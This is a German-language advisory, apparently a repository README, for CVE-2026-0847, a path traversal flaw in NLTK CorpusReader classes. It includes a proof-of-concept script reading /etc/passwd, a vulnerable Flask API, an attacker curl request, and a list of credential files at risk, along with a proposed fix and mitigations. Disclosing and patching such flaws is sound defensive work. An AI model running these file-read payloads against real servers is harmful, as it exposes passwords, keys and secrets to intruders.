
Eine Schwachstelle in NLTK-Versionen bis einschließlich 3.9.2 ermöglicht das beliebige Lesen von Dateien über Path Traversal in mehreren CorpusReader-Klassen, einschließlich WordListCorpusReader, TaggedCorpusReader und BracketParseCorpusReader.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-0847 |
| Paket | nltk (Natural Language Toolkit) |
| Registry | PyPI |
| Betroffene Versionen | <= 3.9.2 |
| Schwachstellentyp | CWE-22: Path Traversal |
| CVSS-Score | 8.6 (Hoch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung auf Vertraulichkeit | Hoch |
| Auswirkung auf Integrität | Niedrig |
| Auswirkung auf Verfügbarkeit | Niedrig |
| Gemeldet am | 4. Dezember 2025 |
| CVE veröffentlicht | 4. März 2026 |
| Unterstützt von | Palo Alto Networks / Prisma AIRS |
| Status | Behoben |
Mehrere CorpusReader-Klassen in der NLTK-Bibliothek akzeptieren Dateipfad-Argumente, ohne eine Pfad-Kanonisierung, Allowlist-Validierung oder Sandbox-Einschränkungen anzuwenden. Wenn ein Angreifer den Korpus-Dateinamen oder die Dateieingabe kontrolliert – ein häufiges Szenario in Machine-Learning-APIs, upload-basierten NLP-Pipelines und Chatbot-Diensten – kann er einen manipulierten Pfad angeben, um die Verzeichnishierarchie zu durchlaufen und beliebige Dateien auf dem Server zu lesen.
Diese Schwachstelle ist besonders kritisch in vernetzten Bereitstellungen, in denen NLTK benutzerkontrollierte Dateipfade verarbeitet, da für ihre Ausnutzung keine Authentifizierung oder Privilegien erforderlich sind.
| Klasse | Datei | Status |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Verwundbar |
TaggedCorpusReader | tagged.py L1–L140 | Verwundbar |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Verwundbar |
| Andere Klassen, die dasselbe Basis-Muster verwenden | — | Umfassendere Prüfung ausstehend |
Alle drei Klassen erben dieselbe unsichere CorpusReader.open()-Methode, die vor der Auflösung und dem Lesen der übergebenen Dateikennung keinerlei Pfadbeschränkungen durchführt.
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann Folgendes zur Folge haben:
/etc/passwd, /etc/shadow und /var/log/auth.log~/.ssh/id_rsa), .env-Dateien, API-Tokens und Cloud-Zugangsdaten-Dateien können extrahiert werdenDiese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Ausgabe (gekürzt):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Ein realistisches Szenario, in dem NLTK über eine HTTP-API bereitgestellt wird:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Angreifer-Anfrage:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Ergebnis: Der vollständige Inhalt von /etc/passwd wird ohne erforderliche Authentifizierung an den Angreifer zurückgegeben.
Die Schwachstelle hat ihren Ursprung in CorpusReader.open(). Die Methode löst die übergebene fileid mithilfe von FileSystemPathPointer.join() direkt gegen den konfigurierten Stammpfad auf, ohne dabei eine der folgenden Prüfungen durchzuführen:
..)Da FileSystemPathPointer mit / initialisiert werden kann, hat ein Angreifer, der das Dateinamen-Argument kontrolliert, uneingeschränkten Lesezugriff auf das gesamte Dateisystem.
Minimaler, vom Forscher vorgeschlagener Fix, der innerhalb von CorpusReader.open() angewendet werden soll:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
Der Upstream-Fix-PR ist verfügbar unter: https://github.com/nltk/nltk/pull/3479
| Aktion | Details |
|---|---|
| NLTK aktualisieren | Aktualisieren Sie auf eine Version größer als 3.9.2, sobald ein offizieller Patch veröffentlicht wurde |
| Eingabevalidierung | Bereinigen und validieren Sie alle benutzerbereitgestellten Dateipfadwerte, bevor Sie sie an eine NLTK-CorpusReader-Klasse weitergeben |
| Benutzerkontrollierte Pfade vermeiden | Erlauben Sie Benutzereingaben nicht, direkt oder indirekt das fileids-Argument eines CorpusReader zu steuern |
| Prinzip der geringsten Privilegien | Führen Sie NLTK-basierte Dienste unter einem eingeschränkten Betriebssystem-Benutzerkonto aus, dessen Lesezugriff ausschließlich auf das Korpus-Verzeichnis beschränkt ist |
| Containerisierung | Isolieren Sie den Dienst in einem Docker-Container oder einer Chroot-Umgebung, um den Schadensradius einer erfolgreichen Traversierung zu begrenzen |
| Ubuntu-Patch | Beobachten Sie den Ubuntu Security Advisory für distributionsweite Paketupdates |
Upgrade per pip:
pip install --upgrade nltk
Installierte Version prüfen:
python -c "import nltk; print(nltk.__version__)"
| Datum | Ereignis |
|---|---|
| 4. Dezember 2025 | Schwachstelle von Forscher hyperps1 an huntr.dev gemeldet |
| Dezember 2025 | NLTK-Maintainer-Team über huntr.dev benachrichtigt |
| Januar 2026 | NLTK-Maintainer hat die Schwachstelle validiert; Offenlegungs-Bounty an den Forscher vergeben |
| Januar 2026 | CVE-2026-0847 zugewiesen |
| Februar 2026 | 48-Stunden-Vorabwarnung an die NLTK-Maintainer gesendet |
| 4. März 2026 | CVE auf NVD und huntr.dev veröffentlicht |
| 5. März 2026 | NVD-Eintrag zuletzt geändert |
| Ressource | Link |
|---|---|
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Ubuntu Security Advisory | https://ubuntu.com/security/CVE-2026-0847 |
| Offizieller CVE-Eintrag | https://cve.org/CVERecord?id=CVE-2026-0847 |
| huntr.dev-Bericht | https://huntr.dev |
| Fix-Pull-Request | https://github.com/nltk/nltk/pull/3479 |
| NLTK auf PyPI | https://pypi.org/project/nltk/ |
| OWASP Path Traversal | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
Dieses Repository dokumentiert CVE-2026-0847 ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwickler, Sicherheitsingenieure und Systemadministratoren dabei zu unterstützen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.
Jegliche Nutzung dieser Informationen, um ohne ausdrückliche Genehmigung auf Systeme zuzugreifen, ist illegal und unethisch. Der Autor übernimmt keinerlei Haftung für den Missbrauch der hierin enthaltenen Informationen.
Mitwirkende @mohitf070304